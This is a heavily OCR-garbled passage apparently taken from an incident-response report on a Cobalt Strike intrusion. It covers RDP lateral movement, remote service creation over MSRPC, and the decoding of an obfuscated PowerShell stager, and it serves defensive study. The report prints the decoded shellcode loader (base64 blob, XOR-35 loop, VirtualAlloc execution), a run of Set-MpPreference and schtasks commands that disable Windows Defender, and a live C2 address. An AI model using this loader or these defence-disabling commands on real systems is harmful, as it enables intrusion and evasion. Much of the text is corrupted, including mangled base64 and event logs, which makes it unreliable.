TargetLogonld 0x16606a9
ParentProcessNameIC:\Windows\System32\Wbem\Wm|’PrvSE.exe
MandatoryLabel S-1-16-12288

Remote Desktop Protocol

RDP was used to move laterally between several hosts. The diagram below shows the RDP
connections made by the threat actor.
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Windows eventlog for RDP “RemoteDesktopServices-RdpCoreTS/Operational” eventlD 131
shows RDP activity with details like client IP and source port.

<Channel>Microsoft-Windows-RemoteDesktopServices-
RdpCoreTS/Operational</Channel =
<Computer> </ Computer=
<Security UserID="5-1-3-20" /=
</5ystem=
<EventData>
=Data Name="ConnTvpe"=TCP</Data>
|<_Data Name="ClientIP"= 3:64046+/Data= |
</EventData=
= (Event=

Remote Service creation with MSRPC

The threat actor utilized RPC to create services remotely. Using MSRPC Service Control
Manager(SCM) is a known Cobalt Strike feature to execute code on remote hosts. Here the
CreateWowService call is used to run PowerShell command to disable Windows Defender
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Real Time Monitoring. Adding the password or NTLM hash in wireshark will decrypt the
traffic.

Frog Length: 335 o0
2uth Length: 16
call 1

Alloc hint: 278
Context I0: @
opnum: 68

fesponse in frame: 11
r[_Enzryvteﬂ St dats [truncstea] 2 Toeacreser):
» CompIete Stu deta (278 bytes
Auth Infoi NTLKSSP, Packet privac
| service Control, Createsowservice: See7e3d: powershell.exe -nop -w hidden - Set-Wpf - Strue
e e
Response in r
< Fotnter to s tandle (poicy_rie)
2 Policy Hendle
bax Count: &
offset: 8

o oo

8

2333333838\
BER

3388883888888

L PoIntert Fotnter to DisplayNane (uintis)

;y-um Tpe: 16
SvECTL DEMAD_START (3

Error Control: SVCCTL_SVC_ERROR_IGNORE (¢)

Max Count: €2

offset: o
iz

£

|amary reth: poverstell cue -nop - hldden ¢ Seltopreference Dlssblerealtiseonitoring strie ]

WL rotntars rotnter to Tog 14 uinta)
NULL Pointer: Fointer to Dependencies (uints)

NULL Pointer: Pointer to Service Start Mame (uintis)
MULL Pointer; Pointer to Password (uints)

ice won Type: 332
Auth adding: cssesspen0en

Frame (300 bytes)  Decrypted data (288 bytes)  Decrypted NTLMSSP Verifier (12 bytes)

Hands On Keyboard

Using a compromised account, the threat actor was observed moving payloads between
hosts using Notepad. The file they dropped the content into was aptly named ‘payload.txt’

CommandLine =

C:\Windows'\system3 2\NOTEPA

The file payload.txt was captured on network share before the threat actor dropped the
content into a text file with Notepad. The data contained both an encoded PowerShell
command and several commands to disable functionality in windows defender.

g comey. .. .. poovog. . C e eLp s
= GBACgE AL QAXQAEAD AGEA(NBIADVAMABTAHQA(gBpAGdAZwAuA(IASAAGAHHASQEBAEEAQQB
TALwBp BK = a TEBLAEL gt gl i BuAC y EAZAGHAZOBY
] b qsmequamm wnAHkAL. 'gBp £t AEuAdanAFAAHgAlAHumABRADu TWBAF EAQBPAELACQ AFEAVABL EHAagB
j /gBVAGE CBAUQBRAEKAT. TAZWBRAFQAQEBLADGAZWBYAGEAT, & gBZAGT s
y S ACAB TAHT ACHBCADIAYWBEAHOASABC. ANAROAL B1ADKASABL (AFAABQB JAGE QA4AEMAZABBAGC. EwAbWE
SAFT) AZgBRAHQ! EQEIADEAWABIAH:ARAA]A(SAdgﬂrnﬁwﬂdQASAGEAEQEHAHDADABGAH(AQ ANQBEAF 1AFT g
0BHAFCAZWBKAGEACE AaQBL TAGOAL: I0BIAGOACAASAC ACBAC o
UAFTAL: 1 q bQBFAF TAL gBTAE4ATOBVAEYAVgA g WASAHEAC
ACQBTAFQAVgB1AHUAGGE AGOAKNE LAEOANAAL i gt ARG/ T g shegh
g OBSAFEAUQ: 8AUQB S AHQANQALAFgS
g SAUABKAEGAL \TABXAFUATQBPAHCANGEDAGT ACQBhAGUAEQBSAD AL gBKAFQATQBLS TASQ8i = cg VA3 GERAHCANEE
EBNADEAOGAVAG: QAUMBXAFTAVE JAEVATEBLAGUAUWBVAFYADQAD csaunD QARARIAECAOBL g TgBUAEHAQQBDAF QAUgBLAHCAbHAY AEOAZWBSAHEARWBADUANABNACSAQEASADC
ALWBCAC TAGQ) TABLY g RQBAAF 3 gAbg g g TWBFAGSACQE gt
1 gl N/ = 2 gt gl = QANgB AMAAZADC
AEGATgBGATH g gB5ADgA g = g BVAHY, g g 1 z g gt
ARYAHL. o g g NgAZADUAVEA! BASAFg UAEUANQ) 8 ESAcQBZADQABQAZAFK g DeA=QBT) TAGK
AbgnSAHkAszADIAKwE]AHUARwETAF g EWAQUBZADC g g RgBY £B1AGAAVHB1 AHOAUABCQ) YAQE: QASABOAF TAVWBXAEQAMOB
LADUASQBHAHUAMABLAF EAY GA4AESANIWBORHYAZAAIADTACWB LAGEATABSARHA g IEBCACBARAAXAH QAYWED) gAr g5 IADKACQBZAEGACQB AR Q
ARWAGAECAT: g AL E@AL: AVABSAGUS CANgB] i y 050 g
i q T -£B1AETARWBUAC! 1, QUASAGAACOBNAFYAD Eg WA1ADC
gl g VAeAB2AGCAYEBL YgBGACSAYWBHMAGL. /gBXAETAdgBL/ IEATAET/ T gl
5 AQgBEAHQAGQARADL. THB TQE \TgBSAGHARQBLAGUANEE T TAZQArADMAYE] gANZA3ADY
ASQAZAISI JAGEAL: TA2gBAGOAKWERAEQ) QAT AUQBPADTAZABp/ 1AGQASQB
Q8L KABAA2AGHASEE . ARBAGEABQBTADE j YL TgBuAHg g "YAWIEEAGCAQgENAF(A\IwEDADkANwBHAngARwBXAGEAawEtAGEAMwEIADM
AYwﬂkAESATNETADQA\YWBHADVAdQBpADkAdABaAG(AYwELA(;ATwBuAEOL\T\vaAFkAWQBVAGgA:AAr g y g SRADCATOA4AESAL: ANAB g g ALIQBAACBAEQBXAGOAdgE
NADQAbQETAGcASAEmAGSANanAHIAEngAGIALwBLAH:AL g QATWBT. i QBOADKAQUBUAEY
2B et i gl gt eABU UAUEBT/ g7 WB1AHQANOB § ! gl
wAESNJQBLADEAIJwBlAD:AIMAlAC UABC ! Y/ gE = AEGAT; BAHAFTASQALA ¥
3 UABSADQ) i 1 AT, JAUgBSADUAT TAHUAGRB
carr bWBZAETAKWBGACSACQ) A0, JA(gskaAOQAmHkAeAsomk;\m\annaenLwamcaamaaam\rgmar(uganArkmwssAzEAQQAQA(IAKQApmsAsqnm;y\rmneuzqumnmm\ﬁunzqa]qumsmesmgsmHQAcgamaEauqnsmumqakmu‘\cgmua
AZQB3ACOATWE 1AGOATOB JAHQATAS JAEBAL gBDAGEADQBNAH TAZQBZAHHABQBVAGAA L BHAHOABQB WAFAGAB Y AGUAY QB LACGAI ABZACHAUINE JAEBAL gBDAGBALQBNAHTAZQ ABYAGUACWBZACKAKQAPACAAUGBLAGEAZAS

0
UAGBARQBUAGQAKARDADSACEA=

schtasks /delete /tn "\Microsoft\Windows\Windows Defender\iindows Defender Scheduled Scan” /f
schtasks /delete /tn "\Microsoft\Windows\Windows Defender\indows Defender Cache Maintenance” /f
schtasks /delete /tn "\Microsoft\nindows\Windows Defender\uindows Defender Cleanup”

schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification” /f
Set-HpPreference -DisableRealtinctionitoring $true
Set-MpPreference -Di $true
Set-Mppreference -DisableBehaviorMonitoring Strue
Set-MpPreference -DisableIOAVProtection $true
Set-Mppreference -DisableIntrusionPreventionsys.
)D.a..K 3

.2.SMB@.......

soce Loitenm Strue

Set-MpPreference -DisableScanninghetworkFiles $true
Set-MpPreferance -MAPSReporting @

Set-Mppreference -DisableCatchupFullscan $True
Set-MpPreference -DisableCatchupQuickScan $True...P.SMB@. ... ...

We can see the threat actor then copied the data from Sysmon eventID 24, which also
shows the threat actor hostname as DESKTOP-GRALDCS.

hane: secread ¢
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Clipboard changed:

RuleName: -

UtcTime:

ProcessGuid: {9c2?11cB88-9fff-63dc-T581-6660RAARLE0 }

s\System32\WindowsPowerShell\vl.8\powershell.exe

ClientInfo: user: ip: [192.768
5B4BBD3255BFEF95681890AFD80

Archived: true

User:

Collection

Besides password related documents mentioned in credential access other sensitive files
were accessed using WordPad. Some files of interest were legal-related files and folders
such as Contracts.

Command and Control

Cobalt Strike

The Cobalt Strike server used for this intrusion has been tracked in the DFIR Report threat
intelligence feed before the incident occured.

91.215.85.143:443

JA3: 72a589da586844d7f0818ce684948eea
JA3S: f176ba63b4d68e576b5ba345bec2c7b7
CS Stager

During the intrusion, we also observed the malicious PowerShell execution that contains
base64 strings from the domain controller.
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Process Create:

RuleName: technique_id=T1059.081, technique_name=PowerShell
UtcTime:

Pr id: {9c211c88-a11c-63d: }
ProcessId: 2444

Image: C:\Windows\System32\WindowsPowerShell\v1.@\powershell.exe
FileVersion: 10.0.17763.1 (WinBuild.160101.8860)
Description: Windows PowerShell

Product: Microsofte Windowse Operating System

Company: Microsoft Corporation

OriginalFileName: PowerShell.EXE

CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe" -nop -w hidden -encodedcommand JABzAD@ATgBLAHCALQBPAGIAagBlAGMAdAAGAEKATWAUAE@AZQ) QBtACgAL QAGADOA
BLADYANABT; WAOACT ALWBPAFMAQgBI A g ZQBT. AEQATGBLAEL g
TAEWAdQ I9B1AGMAdQBK/ TAawB IAagBUAEIAVQBTAGkAVQBlADI 1AGEAR, pAHIAeGBHAE4A
MWBGAGYASAA4AHKAQABL AEUAdQBIAFAAMGAT FOATWBMAF! AFEAVABiAGCAZ AEMAagBj HoAaABL T
p g 3AE4 1A QAQgBLADGAZWBYAGGAT! AGL y
UABMACSACABIAHL QB1ADKASABLAHYAY bQBj QuB1 QAZQA4AEMAZ. A QB5AHQA
RAByADIA: 1ACsAdg TAZQ) 1AFTARGAr T 1AESA
ZWBKAGEA 1 QBL ‘gAZQBTAGOALWBK 1ADUATABYAGSA Q TAFEAMABZ
a TAL AAr YAbWATAEQAT, 1 Q 3¢ AECA T AE4A
TQBVAE TAFQAVQB1AHUAaQB ] AGOAKWB1AEBANAATAHY AdWB1AEUA QBVAGS, QAT rAGYAZQ) QB6ADCA
Lway T TAF T jAD) dwA1 1AF0A
i AHQAWQAT TWBZ QAAHQ QBEAC: TABXAFUATQ) I 1 TQBLAEKA
TAaQB1iAE@ANABLAHgAUQB 1 A
JAEYATGBI RA 1 g T Q 1 TAGQ/ QBXAHAA
TABL T JAEM, g gANQ 1AHL QBWAECA
T AcgA AdWBPAFQ 1AFQANgB1 QB3AECA
QBCAEQATGBGAEMA: ATQ AMgBEACSANQ IGAT AHQAY gBKAF QAZQBVAHYA 1 A
AAYAHT, T AGL gA1 gATH
g QBT/ TAGKAD: KA AKWB AHUARWBTAFOA gBtAEWAQWBZADCAVWA! AEQAVQ 1AGAA
VwB1 gAdQBYAF YAWQBJADMAY/ I 1 AA3ADIACWB1AGEAZABSAHMAZ g Q
AEgAdQBtAFCAOQAT \ LWBYAEMAZgBXAHT
j ADEADABAL 1Q8: ABEAGIAYQA2AGIAZABUAFTAQBrADUAY! 3¢ QAVAHTA
ADYAagBT 1AEL ZAAXAEUA: 1 YAOABNAF L dABY 1
zom.« 1 TAdgBL dgA1AETAD, AKWAYADT. QBKAFT. g QBAADKA
4 AQgB6AHQAQArADL TWBOAGOA g T Tg 1AGUANGB TAaQAr QA2AFgA
MgA AbWA3AD: F JAGGALWBSAEEAYGBSAGIAagBtAGQ IQBXAEQATS d ADL 1ADT
MAEGAGMATQBZAFQAVQBFAGBASABlAGQASQBiAHkAder"""* 1AFKADAA! ADCANWBY T q
ZgASADL. TWBTADQ ACSATWBUAEOATWBP! E4 g AZABRADCATQA4AE SALWB2AF KAMWBaAGQASBLAF CARABWAHEA
RQBaAF CANABZAF ZQBZADQAOQ AFYARWBMAF CAWQB4AC! QAbQBT! TAagBqAGTALWBL. IA; TWBIAGM
aQBY 4 AVQBiAFMAZQA@ADI, QBOADKAQ TAYgl 9 gB1 JAOK AGWAUABiAEWAVgBL
gAVgl BOAF, AZWBNAFQAT) gBT) 1AHQANQBj AH AHYAVWB] QBLADEAUWBTADCAMWAT gl TAWgB6A
Q Y/ WA/ AEQATQ QAr 'gAagAWAFTASQATAFA w81 AHMAEABZAE@ASWATAFYAUABSADQAWAAZ
Q 1AHOAL T F Q TwAr igBAEYAQg JgArAGCAUABT TAQA
TAKWBGAC: TAWgB5ADL 1 AHk ACABC; YATg g T ’“‘FAFgAIAAoAEAAZQESACBATwB)AGoAZQE]AHQAIABJAESALgETAHQAchlAGEAhQ
BSAGUAYQBKAGUACGAOAE4AZQB3ACOATWB1AGOAZQBIAHQATABJAEBAL AZQ A JAESAL TQBVAGQAZQBAADOAD
gBEAGUAY 4AUgB1AGEAZABL AApPADSACgA=
CurrentDirectory:
User:

LogonGuid: {9¢c211c88-66ef-63c8-1110-060000000000}

LogonId: @x61011

TerminalSessionId: 1

IntegrityLevel: High

Hashes: SHAT=6CBCE4A295C163791B6@FC23D285E6D84F28EEAC, MD5=7353F66B1739074EB1 A 75DC1 7D 1B1B168AB32C, IMPHASH=741776AACCFC5B71FF59832DCDCACESF
ParentProcessGuid: {9c211c88-a0a2-63dc-fde1-000000000400}

ParentProcessId: 2496

ParentImage: C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe

ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

ParentUser :

After decoding the base64 strings using CyberChef, the output generated looks cleaner.
However, we also noticed the second layer of the obfuscation on the output below.

Last build: 5 months ago - Version 10 is here! Read about the new features here Options &%  About / Support @

Recipe BB & inpu + O3 8 =
ey o n JAEzADBATgBIAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEBAZOBtAGSAch‘m YAGUAYQBtACQAL/ BUAHYAZQ) 9By AGEAC
WB LADYANABTAHQACGBPAGAAZWAOACTASAAQAH! DIALWBPAFMAQGBL gl A meADIAZwBKm g 2Q

Alphabet BTAGEAWngAFUAdABqAHMAQOBFAEQATgBtAEIAagAAADgAaABFAGsAVgBF EwA ACABUAC TQB ALAEWAdQA
A-Za-20-9+/= - Remove non-alphabet chars wAGkAVwaADgAchzAGMAZQByAFUAdgBLAGMAdQBKAGOASgAZAEoAcQBOAFkAWQBwAHIAawBJAGUASABPAFIAagBUAEIAVOBTAGkAVDBlADIAKwBYAGEAZQBnAHkAUABl
AGEARAAXAHGAVgBPAHIAegBHAE4AM YASAAGAHKABABLAEUAGQBIAF AAHGALAHU FOATWBMAFEAMQBPAE BLAFEAVABiA

GCAZWA4AGWASWBLAEMAagB j ADMAG, Y Bt ARABPACBAUQBhAEKATABhAEBAdgBFAFQANABKAHUAUWBMAHAAVABPAF CAbWAJAE

[ strict mode Q 2AHYAegBWAFQAU: AHYAUAA: bQBKAFMAGWBXAEIAZWBRAFQAQgBLADGAZWBYAGGATAAYAE cAeQBSAGAVABKAEQAUGBZAGIANQBEAEW
AaABUACSASABMADYAMWAYAGTAUGBBAHUASABYAE@AUWBPAFQAY BSADYAawAWAE SACABIAHIAOABCADMAYWBtAHOASABCAEWASGAVAD CANAABADKA

YWA@AGYADQB1ADK AHYAYQBGAE AFAADQB; FkAQwB1ADQAOQBRAGA4ASQBGADQAZQA4AEMAZABEAGCAKWBAAGKAAQBMADAANWBCAEWADWBSAFTAY

Remove null bytes © 11 QBZAHYACWBKAEQAaQB2AGWAZQBSAHQARABYADIAZGBnAHQAVABQADIAWABPAE cAeQBZADEAWABZAHCARAAACSAdgB rAGWAdQASAGEAEQBUAHOAOABGAHCAQWBOAHGASQ
BaAHCANQBGAFIAZQBHAF0AKWAZAHQAKWB LAFIARGATAGY ABDAE TACABYAFE, gBKAHUASQA3AHIAQWBMAGSAdgB1AEBARQAZAGBARQB

HAFcAZwBKAGEAcgBrAEUAegBpAHgAYwA1AFEAbWBBAGCAaQBLAF cAMABSAEMANABZAGCARWASAFgAZQBTAGOALWBKAGMAdwBKAGEAUQBJAGQACAASAC8AMQBTADUATABY
AGSAZgA3AEsANwBTAC8ACQBWAFQALWBXAEEAUGBTAFEAMABZAEWAeABVAHQATQAVAEEAbWBKAF cAaABZADMAWgAZAE8AdwBUAFTALWBRAGYAdwBpAHUAQQB2AHgAKWBDA

EwARABDADCAZAArAGYAaABhAHEASABDAEYADWATAEQAT) 4ANVB AGAAUQ! AFEAKWBQAETARWBKADYAMWB3AFMAEABLAE
cAZwBBAHcAbOBFAFIAUAEmAEwAagBIAE4ATQEVAEYAVgA3AGUAegArAGYAchSAHEAcOBaAEYASAASAHEACQBIAFQA\/gBlAHUAaOE]AGoAKwB1AEOANAA1AHYAdelAEU
AZgBZAGUANwBtADKASWBKAHgAZQBVAG8AZQB2AHYAeQA1AFMAVABEAHGARQArAGYAZQBmAF AdQB4AGUAQQB6ADCALWAYAFOA
bOBoAEnAVQBFAFuASAAvAGOAWABNAFIAMQE3ADUAbgBPAFgARAA/lAGkAVABMACsAegBrAESASwBIAFAAUAAZAGSACAEBAFcAWgBZAHUAbwAwAHuATwENAGDARgB]ADAAU
ABBAEYAWQBSAEUANABYAHMAdwA1AHOAUABNAD! EAUQB3AEQ. AGOASAA1AF oAU aAB: B: \WQA1AFgANwAZAHOATWBZADCADA
BKAG4. BRAH, 4AHOAd B AUOBtACSAUABKAE0AUwBSAGOAVOBEAFaAUAB2AGMATABXAFUATOBPAHCANGBDAGIAAOB
me 7526 = 2 Tr Raw Bytes ¢ LF
Output 0O ®:

$s=New-Object I0.MemoryStream(,

[Convert]: :FromBase64String(""H4sTAAAAAAAAAK1Xa2/1SBbInPwKf2gIUJ0seSazVUtjsAEDNMB]88hEKbELKFx+UC7zmpn/vrcMIOnt9G5Lu@iWg8r3cerUvbeu
JImJ3JqPYZVrkIeHOR]jTBUSiUb2+XaegyPuaD1xVirzGN3FfH8yhKEuHP25uhQ51AyH/Z0fQ1iLyUoKKQTbgg81KKCjc3tzfZUhomzhK9hg7D0/QaILaOvVET4JuSfpTiWo
8DB4ctvvzVTS1HIZvP7NmISkqBgQTBK8gXhL2GyRhTdDRYb5DLhT+HL632bRAUHXMSOT cddwy6k@OPf+pHr8B3cmzHBLI/7449c4fmu9HKvbFOHIPmceUwYCu49QnIFde
8Cdzg+xiif@7BLoyRasvsIDivleytDr2fgtTP2X0Gys1XswD5+vklu9ayTz8FwCNxIZw5zReGZ+3t+eRF+fONjpCHDAbpXQ4ZoFJuI7 rCLkvuOE30EGWgJarkEzixc5Qo0
AgiKWe1C4YgG9XeSj/JcwlaQIldp9/1e5LXkf7K7m/qpT/qARSQOYLxUtM/AodWhY3Z30wnR/QfwiuAvx+CLDC7d+fhagHCFo5DLOY4PdD rN7e3DxnQwT7yQ+jBGd63wSx
KGgAwmERPfLjHNMUFV7ez+fs9qqZFHIqqHTVuuicj+eM45vwbEfYe7mIKdxeooevvy5STDXE+fefZ40M1jhE8] FOAuxeAz7/2ZmhJUEZH/dXMR1wSnOXD8iTL+zkOKHPP
B6OPAW; 08AFYRE4Xsw5 QwHwd55DmH5ZQpghq/Q1tY5X7320Y71InCQpCsMUBtwtCiZyCPKKghQm+PJJSmUDXPvcLWUMOWECbuaey 18QunFATMKIW
NSF@4XaBibMXKxQzgrRaGDPdQ4mnh1hZD7 110mQwikHF jawZnACufCZDxmqFf89/903JuIqUFMUADSWRVGEWCFNeeSUVm40Svk5 f4D7Guen]0Cc3U16QNoCACTRKwo2]g
YqGuS4g+B97/B+77EFAezSAHIPNZIqpLKOj nKgDsIPgEXRhthccCT8HNXpHXXPqye3X5Z Pt jeaMVMpApUW] 00EKGF41swqXz1XK6e rwNOzXj 9pGLXePs1A/uKFN1V2r
7dTXh1E5]jdwxo9u0IsPccMtIQtokXqz7W+fQ32w0T83pURIK5T6U4xpWO37j FLawG4DeaBDN]j Ceq7vRWRIKHXrM1sRy82Wa+0qBa8hTn2D+59TUd LFE@2+tbdTeUvMnOr!
Qe9qFVnoGunShpTIREMZ21/2wIUXF3vZIt1d2r7sdMrz5xHsnhAmb635b5m29X04fPTES/ jbRNR7mcG3KNKQY4m3YdZGGMOSVenvY5d7ySj chfWaehz46Sin9y172+cuG
SZfqk3tuZT4KbkbGlrUafmLCY7W7L8ynBOM2y7FmDUOU7s LrunWezPPXurVIaLXtKEvVVYI3aZdHNRWWD1e5ILu@TQb807Nvd72seadysdWXHXqFAOVB/D1wD12rWSjoEH
0T1s4cNd12d14T0G6rQH2ak fvIqYHUmMWI+ZD7E F2NWddGAGO7TXQMEWMDYxZzYc7JzppmeCM/XCFWrTye3oh841oM76c11bDIMIFMST rukp IWOk1YG+ySuP8J4qPoa7ahY
2xzrHdDba6bdnRik5chrSVck@ZDtxtD@q/ rYj3XZIiP1H+6jSiwlqruBGn/d1Edo1Tu6PalCIngMV8MRQmmtXu9PHpI 13Wls57VdaXdSp INSFYvzxoQaeuVxvgbepZEyH
9sHX7bF+cLeH/q2WBVKYnds iU+9kdKdmv5B11ssW2+22GC8F2palR3wNIq2GGvj OWEX9h9n1ro610102Bztu+2WipS9ulhjgkdKo22V3MFC70pGag40 IN1cEue6HM73Mr
wvshOQPRi+3basudEe6X27513bo702Ug4dY1XgWmTetuxIh/1Ab1bjmd+QDKIP5WD01z0QSwroKRMrHst7vQ02hiPitcFu2Vimhhx@FcMvTUEmHbdIbyw+NeXGTFf2Wt9
TYt@QD5Y16czba7ZsSDOp4hmm77XHtqulIHHC InTDNNXTWYnj50rvf92WygBVWWt97G8GWokmo3H3cdK0S4cG6ui9tZgcK+0nJ0iYYohp+NVjo32Fb0bdQ7M8K/vY3ZdJ
eWDVQEZWA4YYRX0IWDes49AaT1ZTHVGLWYx/yWdvM4mSjHk7hrjjb/KwrshtnidJp7GH2FbgMeGpcVkIZCDOHCiXA3Nog8tFA1e0U31KrEnUbSe421ts733xgCqMdgNIA;
nF5qmrMrbCT216 rumKoE91I4FGnS1PbLVTVKBXVZUShTzqdePPxT4EP7ggTLsURSiIU4mz569eset5cv]zDOkvWcH6Y3100YK1Su735+9pY7IwPBfZnbZzm@GTtECiBOT
pdL9IWRFuXhmoYYabRz3/+H8BHNEQE+mPooK/XjORI5PIW8Ce9209vFwRcsxYMK+VPRAX3m6RQUN6R13S52Pgkyxav7eL7nTOH/RXFWOy j cMXWRUEBVERR50+qCLZ+nZZ!

MFB/ZzF2tF3iR+gPHUhMRU3N06MOYB+]+y/53P/84rZy5rMI95yxBITha/t/8FFNFWIGYOAAA=") ) ; IEX (New-Object I0.StreamReader(New-Object
STEP m BT 10.Compression.GzipStream($s, [I0.Compression.CompressionMode] : :Decompress))).ReadToEnd();
. 221 =2 © ons Tr Raw Bytes o LF,
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After initial Base64 decoding, we found the payload used the default Cobalt Strike XOR
value of 35, allowing for the next step of decoding the payload based on the output below.

Recipe B8 Input + 028 =
DB4ctvvzVTSIHIzZvP7NmISkqBgQTBK8gXhL2GyRhTdDRYb5DLhT+HL632bRAUHXMSOTcddwy6k@OPf+pHr8B3cmzHBLI/7449c4 fmu9HKvbFOHIPmce
From Base64 O n UwYCu49QnIF4e8Cdzg+xiif@7BLoyRasvsIDivleytDr2fgtTP2X0Gys1XswD5+vklu9ayTz8FwCNxIZw5zReGZ+3t+eRF+fONjpCHDAbpXQ4ZoFJul

7rCLkvuOE30EGWgJarkEzixc5QoAgiKwo1C4YgGIXeSj/IcwlaQIldp9/1e5LXkf7K7m/qpT/gARSQAYLXUtM/AodWhY3Z30wnR/QfwiuAvx+CLDC7d+
fhagHCFo5DLOy4PdD rN7e3DxnQwT7yQ+jBGd63wSxKGgAWMERP fL jHNMUFV7ez+fs9qqZFH9qqHTVuuicj+eM45vwbEfYe7m9Kdxeooevvy5STDXE+f
efZ40M1jhE8]jFOAuxeAz7/2ZmhIUEZH/dXMR1w5n0XD81iTL+zkOKHPP60opAWZvu00zOMmF c@8AFYRE4Xsw5zPM59RQQwHwd55DmMH5ZQpghq/QLtYSX7
3z0Y71InCQpCsMUBtwtCiZyCPKKghQm+PJJISmUDXPvcLWUMOW6Cbuaey 18QunFdTMKIWNSF@4XaBibMXKxQzgrRaGDPdQ4mnh1hZD71J0mQwikHFja
wZnACufCZDxmqFf89/903JulqUFMUADSWRVqEWCFNeeSUVM40Svk5f4D7GuenJ0Cc3U16QNoCACTRKw02]gyqGu549+B97/B+77EfAezSAHLIPNZIqp
LKOjnKgDsJPgExRhthccCT8HnxpHxXPqye3X5ZfPtjeaMVMpApUWj00EKqF41swqXz1XK6erwNOzXj9pGLXePs1A/uKFN1V2r7dTXh1E5]jdwxo9u0Is
PccMtJQtokXqz7W+fQ32w0T83pURLK5T6u4xpW@37 j FLawG4DeaBDN]jCeq7vRWRIKHXrM1sRy82Wa+0qBa8hTn2D+59TUd LFE@2+tbdTeUvMn0OrQe9q
FVnoGunShpTJROMZ21/2w9UXF3vZ]t1d2r7sdMrz5xHsnhAmb635b5m29X04fPTES5/ jbRNR7mcG3KNKqY4m3YdZGGMASVenvY5d7yS]j chfWeehz46Si
Gunzip on me 2624 = 1 Tr Raw Bytes « LF

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

D Strict mode

Output 0@ ::

If ([IntPtr]::size -eq 8) {

[Byte[]1]1$v_code =
[System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2ss1G1pbhLgaxLjjx9CXyEPA2Li615
iIulBznFicmuocQOoYRIrIvNFols7KCFWUaijqyMjI2um41dEayLzc6hr02eoYwNqIvPAdWyc6mKoF6trIvVuEuprEu0PYulglmIi4hvDVtIvIG8HK2
Ya81b7e2eoYwdqIVNFYqgva2eoYz9qIvNigCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3NzcfkkjaplUSk1KTUZXI2J1laqrFb6rSY
plvVAUK3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbKsCMjI31rqulim5gilyNuEupicmJySSBicmKZdKq85dz2yFp4a6riaxLxaqr7bhLqcUsjEeOn
cXFimch2DRj c9mugq5Wug4HNIKXx rqtKZPCMj I0kjS6MQIyNgqsNimicj IyNimVZlvaXc9muq@mug+Wrk49zc3NxuEupxcWKZDiU7WNz2puMspr4ilyN
r30wsp68iIyPIkMrHIiMjy6HCc3NwMSVIWR1FaDhANEAORDVBPSk4NTkpNDU1QI/c8I1UIo6cmIp+j6QegKycKA3lwNpigPQeeu566LW7sf6aBqZ5viv
ZEXXDgp@ZBWrRN38ZhI2JAQEZTVXkDVOZbVwxLVO5PDOITUBIKQEIXSKkXNDFtLV@5PCFt0TwICUINPSKBCVOPMTQxbTk8YUh4TDROPCQwWIGFIeEWObL
i1iQEBGU1cOb@INRFZCREYZAOZNDNZWDOZNGFIeEwOWL i 1xRkVGUUZRGQNLV1dTGQWMQEXHRg1IU1ZGUVONQEXODC4pYKBARINXDMZNQEXHSK1EGONE
WUpTDWNHRkVPQ1dGL i 12UEZRDMIERK1XGQNUTF IKT@9CDBYNEWMLJEPNROXUUANtdwMVDRAYA3dRSkdGTVCcMFA@TGANRVRKSEgOTCGNPSkhGA2RGQEh
MLikjOM1rsQTJI8WGp1xBeHNKh@sy3T9smHS@Onirn+dtQw31jZIxC2Y2kicw2120U5rM1gnjtletpF5iNindOWgXXcImsS6pkjI2MjYpsiMyMjYppjly
MjYp17h3DG3PZrsHBwa6rEa6rSa6r5YpsjAyMjaqraYpkxtarB3PZro0cDpuNX1UWolGsi4KbjVvR7e3trlowsIyNz4Mtc3tzcGhINERIWDRSWDRIXE
CMvbIdx')

for ($zz = 0; $zz -1t $v_code.Count; $zz++) {
$v_code[$zz] = $v_codel[$zz] -bxor 35
+

$var_va = [System.Runtime.InteropServices.Marshall::GetDelegateForFunctionPointer((func_get_proc_address
kernel32.d1l VirtualAlloc), (func_get_delegate_type @([IntPtr]l, [UInt32], [UInt32], [UInt32]) ([IntPtr])))

$var_buffer = $var_va.Invoke([IntPtrl::Zero, $v_code.Length, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshall::Copy($v_code, 0, $var_buffer, $v_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer,

(func_get_delegate_type @([IntPtr]) ([Voidl)))
STEP $var_runme. Invoke( [IntPtr]::Zero)
Auto Bake 1

After decoding the second layer of obfuscation using the XOR key of 35, we have the next
layer of base64 strings. We can use the XOR key 35 to decode this again. We can use the
below CyberChef recipe as our next step.

Regular_expression('User defined', '[a-zA-Z0-9+/=]
{30,}',true, true, false, false, false, false, 'List matches')
From_Base64('A-Za-z0-9+/="',true)

Gunzip()

Label('Decode")

Regular_expression('User defined', '[a-zA-Z0-9+/=]

{30, }',true, true, false, false, false, false, 'List matches')
Conditional Jump('', false,'',10)
From_Base64('A-Za-z0-9+/=", true)
XOR({'option':'Decimal', 'string':'35"'}, 'Standard', false)
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Recipe

Regular expression

Built in regexes
User defined

Regex

[a-zA-Z0-9+/=]{30,}

Case insensitive
~ and $ match at newlines

[ Dot matches all [ unicode support

|:] Astral support |:| Display total

Output format
List matches

From Base64
Alphabet

A-Za-z0-9+/=

Remove non-alphabet chars

[ strict mode

[«

Auto Bake

The data can be saved

+ 0O 8
H4sTAAAAAAAAAK1Xa2/1iSBbInPwKf2gJUJ0seSazVUt j SAEDNmB] 88hEKbELKFx+UC7zmpn/vrcMIOnt9G5Lu@iWg8r3cerUvbcuimd3IqPYZVrkIeHORj TBUSiUb2+Xae
gyPuaD1xVirzGN3FfH8yhKEuHP25uhQ51AyH/Z0fQ1iLyUoKKQTbgg81KKCjc3tzfZUhomzhK9hg7D0/QaILaOVvET4JuSfpTiWo8DB4ctvvzVTSTHIZVP7NmISkqBgQTBK
8gXhL2GyRhTdDRYb5DLhT+HL632bRAUHXMSOTcddwy6k@O0P f+pHr8B3cmzHBLI/7449c4fmu9HKvbFOHIPmceUwYCu49QnIF4e8Cdzg+xiif@7BLoyRasvsIDivleytDr2
